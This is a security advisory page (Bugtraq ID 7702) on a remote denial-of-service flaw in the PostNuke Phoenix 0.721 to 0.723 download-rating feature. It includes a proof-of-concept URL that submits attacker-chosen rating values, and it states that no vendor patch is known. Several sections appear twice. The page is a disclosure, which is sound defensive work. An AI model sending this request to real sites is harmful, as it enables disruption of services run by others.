PostNuke Phoenix Rating System Denial Of Service Vulnerability
BID:7702
Info
PostNuke Phoenix Rating System Denial Of Service Vulnerability
| Bugtraq ID: | 7702 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 26 2003 12:00AM |
| Updated: | May 26 2003 12:00AM |
| Credit: | Discovery credited to Lorenzo Manuel Hernandez Garcia-Hierro <[email protected]>. |
| Vulnerable: |
PostNuke Development Team PostNuke Phoenix 0.723 PostNuke Development Team PostNuke Phoenix 0.722 PostNuke Development Team PostNuke Phoenix 0.721 |
| Not Vulnerable: | |
Exploit / POC
PostNuke Phoenix Rating System Denial Of Service Vulnerability
This vulnerability may be exploited with a web browser.
The following proof of concept has been made available:
http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT]
This vulnerability may be exploited with a web browser.
The following proof of concept has been made available:
http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT]
Solution / Fix
PostNuke Phoenix Rating System Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PostNuke Phoenix Rating System Denial Of Service Vulnerability
References:
References:
- PostNuke Homepage (PostNuke Development Team)